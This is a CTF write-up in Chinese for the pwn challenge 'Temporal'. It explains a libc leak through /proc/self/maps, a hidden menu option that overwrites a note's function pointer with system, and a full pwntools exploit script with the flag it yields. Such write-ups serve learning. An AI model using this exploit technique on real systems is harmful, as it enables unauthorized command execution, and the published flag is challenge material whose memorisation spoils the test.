Temporal
题目信息
- 类型:Pwn
- 题目状态:已解出
- 题目附件:
vuln - 题目描述:
i had a heck of a time making this one
nc 0.cloud.chals.io 26716
- 核心突破点:
5号菜单会无条件解析/proc/self/maps泄露 libc 基址,隐藏8号菜单又能用一次read(0, note, 0x210)直接覆写整个 note 结构,因此可以把 note 的函数指针改成system,再用3号菜单触发执行
入口与现象
程序表面菜单只有 1 到 7:
1. Create note
2. Delete note
3. Print note
4. Upload file to note
5. Parse leak from note
6. Stat a path
7. Exit
静态看一下二进制特征:
No PIENo canary- 栈可执行
- 符号未剥离
函数名也基本都在,关键函数包括:
parse_proc_leakdispatch_noteraw_write_note_bg_delete.0
题面和函数名很容易先把注意力放到异步删除和竞态上,但把几个核心函数看完后会发现,这题其实有一条更短的利用链。
分析过程
1. note 结构
alloc_note 申请了 0x210 字节的 chunk,布局非常直接:
struct note {
char content[0x200];
void (*fn)(struct note *);
int id;
int active;
};
初始化时:
fn = print_noteid = 用户输入的编号active = 1
dispatch_note 的逻辑也很简单:
if (notes[idx] && notes[idx]->active) {
notes[idx]->fn(notes[idx]);
}
也就是说,只要能改到 fn,就能把一次 “打印 note” 变成任意单参数函数调用。
2. 5 号菜单直接白送 libc 泄露
parse_proc_leak 前半段会尝试把某个 note 当成 /proc/self/maps 内容来解析,但这不是重点。真正关键的是它后半段无论前面成功与否,都会自己:
open("/proc/self/maps", 0)- 逐行找包含
libc的映射 - 用
%lx-解析起始地址 - 直接输出
所以进程序以后,甚至不需要先准备 note,直接选 5 就能拿到:
[LEAK] libc base: 0x7f389f84b000
这一步把 ASLR 直接抹掉了。
3. 隐藏的 8 号菜单是最致命的点
虽然菜单只显示到 7,但 main 实际还处理了两个隐藏选项:
8->raw_write_note9-> 启动后台删除线程
其中 raw_write_note 的逻辑是:
note = notes[idx];
if (note) {
read(0, note, 0x210);
}
这里不是只写 content,而是把整块 0x210 字节都重写了,所以可以一次性覆盖:
contentfnidactive
于是利用思路就很直接了:
- 先用
5泄露 libc base - 新建一个 note
- 用隐藏
8把这个 note 改成: content = "sh -c 'cat /flag* ...'"fn = systemactive = 1- 再用
3触发dispatch_note
于是程序实际执行的是:
system(note->content);
4. 一个实战坑:程序混用了 scanf/fgets 和 read
这个点在写 exp 时必须注意。
前面的菜单交互走的是 scanf / fgets,隐藏 8 却突然切到了底层 read(0, ...)。实际打远程时,如果在发完 note id 之后立刻无脑把 payload 连着塞过去,stdio 有机会把后面的字节预读进自己的缓冲区,导致 read 拿不到完整的 0x210 字节。
实测最稳的做法是:
- 选
8 - 发送 note id
sleep一小会儿,让程序真正阻塞在read- 再发二进制 payload
这也是这题最容易把 exploit 写崩的细节之一。
利用过程
- 连接远程服务,直接选择
5,拿到 libc 基址。 - 选择
1创建一个 note。 - 通过隐藏菜单
8向 note 原地写入0x210字节: - 前
0x200字节放命令字符串 +0x200放system+0x208放 note id+0x20c放1- 再选
3打印该 note。 dispatch_note实际调用system(note),命令执行,直接读出 flag。
这题里那个异步删除线程确实能做 UAF,但拿 flag 并不需要走到那一步,隐藏 8 已经足够直达控制流。
关键 payload / 命令
本题远程环境命中的 system 偏移为:
system = libc_base + 0x50d70
核心 exp 如下,完整脚本我也放在同目录的 Temporal-exp.py 里:
from pwn import *
import re
import time
io = remote("0.cloud.chals.io", 26716)
io.recvuntil(b"> ")
io.sendline(b"5")
io.sendlineafter(b"note id containing /proc data: ", b"0")
data = io.recvuntil(b"> ")
libc_base = int(re.search(rb"0x([0-9a-f]+)", data).group(1), 16)
system = libc_base + 0x50d70
io.sendline(b"1")
io.sendlineafter(b"id (0-15): ", b"0")
io.sendlineafter(b"content: ", b"AAAA")
io.recvuntil(b"> ")
cmd = b"sh -c 'cat /flag* /challenge/flag* /home/*/flag* 2>/dev/null'\x00"
payload = cmd.ljust(0x200, b"\x00")
payload += p64(system)
payload += p32(0)
payload += p32(1)
io.sendline(b"8")
io.sendlineafter(b"id: ", b"0")
time.sleep(0.3)
io.send(payload)
io.recvuntil(b"> ")
io.sendline(b"3")
io.sendlineafter(b"id: ", b"0")
print(io.recvrepeat(1).decode())
实际输出:
UDCTF{t1m3_15_f4k3}
Flag
UDCTF{t1m3_15_f4k3}
总结
这题最像烟雾弹的地方反而是题面最显眼的“Temporal”主题和后台删除线程。真正决定胜负的是两个隐藏点:
parse_proc_leak直接把 libc base 白送出来。- 隐藏
8可以整块覆写 note,把函数指针直接改成system。
拿到这两个点以后,整题就从“竞态 + UAF”变成了“一次 libc 泄露 + 一次函数指针劫持”的直线题。唯一需要在 exploit 里额外小心的,就是程序混用 stdio 和 read 带来的短读 / 预读问题。